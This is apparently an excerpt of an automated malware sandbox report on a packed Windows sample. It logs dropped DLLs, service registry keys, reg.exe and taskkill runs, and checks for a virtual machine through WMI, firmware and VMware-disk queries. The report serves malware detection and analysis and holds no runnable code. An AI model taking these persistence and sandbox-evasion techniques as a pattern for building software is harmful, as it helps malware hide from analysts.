Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: reg.exe	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\MoreInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\md5dll.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Program Files (x86)\Wimsys\uninstall.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\SimpleSC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\System.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\MoreInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Program Files (x86)\Wimsys\msg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\IpConfig.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\Public\wss_tmp\cr_ws_2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\IpConfig.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\inetc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\System.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\Public\fbe\fbegbhf.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\MoreInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\md5dll.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\SimpleSC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\inetc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\System.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\IpConfig.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\md5dll.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\SimpleSC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\inetc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\b0ce0805d069128c445841c673b20d15

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD9773160 OpenSCManagerA,OpenServiceW,QueryServiceStatusEx,StartServiceA,CloseServiceHandle,CloseServiceHandle,

33_2_0000021BD9773160

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD97922AC EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

33_2_0000021BD97922AC

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : Select * from Win32_NetworkAdapter Where NetEnabled=TRUE
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE DeviceID = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE Index = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE DeviceID = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE Index = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : Select * from Win32_NetworkAdapter Where NetEnabled=TRUE
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE DeviceID = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE Index = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE DeviceID = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE Index = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : Select * from Win32_NetworkAdapter Where NetEnabled=TRUE
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE DeviceID = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE Index = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE DeviceID = 1
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapterConfiguration WHERE Index = 1

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\MoreInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\md5dll.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Wimsys\uninstall.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\SimpleSC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\System.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\MoreInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Wimsys\msg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\IpConfig.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\IpConfig.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\Public\wss_tmp\cr_ws_2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\inetc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\System.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\Public\fbe\fbegbhf.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\MoreInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\md5dll.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\SimpleSC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\inetc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\System.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\IpConfig.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\md5dll.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqF009.tmp\SimpleSC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssF49D.tmp\inetc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_15-20612

Source: C:\Windows\System32\rundll32.exe	API coverage: 4.0 %
Source: C:\Windows\System32\rundll32.exe	API coverage: 7.6 %
Source: C:\Windows\System32\rundll32.exe	API coverage: 1.9 %

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A4C6B lstrcpynW,FindFirstFileW,	6_2_046A4C6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A30A4 FindFirstFileW,FindClose,	6_2_046A30A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A2367 DeleteFileW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,lstrcpynW,FindNextFileW,FindClose,	6_2_046A2367
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C548A FindFirstFileExW,	6_2_046C548A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B3A83 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	6_2_046B3A83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E4C6B lstrcpynW,FindFirstFileW,	7_2_045E4C6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E30A4 FindFirstFileW,FindClose,	7_2_045E30A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E2367 DeleteFileW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,lstrcpynW,FindNextFileW,FindClose,	7_2_045E2367
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0460548A FindFirstFileExW,	7_2_0460548A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F3A83 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_045F3A83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03452367 DeleteFileW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,lstrcpynW,FindNextFileW,FindClose,	15_2_03452367
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_034530A4 FindFirstFileW,FindClose,	15_2_034530A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03454C6B lstrcpynW,FindFirstFileW,	15_2_03454C6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03463A83 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	15_2_03463A83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0347548A FindFirstFileExW,	15_2_0347548A
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD943F81C FindFirstFileExA,	33_2_0000021BD943F81C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D885F81C FindFirstFileExA,	34_2_00000166D885F81C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66F0510 FindFirstFileExW,	39_2_000001C9C66F0510
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85CAC90 __doserrno,_errno,_invalid_parameter_noinfo,_errno,__doserrno,_getdrive,FindFirstFileExW,_errno,_errno,_wfullpath,_errno,_errno,_errno,_wfullpath,IsRootUNCName,GetDriveTypeW,free,__loctotime64_t,free,_wsopen_s,_fstat64,_close,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,__loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,__loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,__loctotime64_t,FindClose,__wdtoxmode,GetLastError,_dosmaperr,FindClose,GetLastError,_dosmaperr,FindClose,	39_2_000001C9C85CAC90

Source: C:\Windows\System32\loaddll32.exe

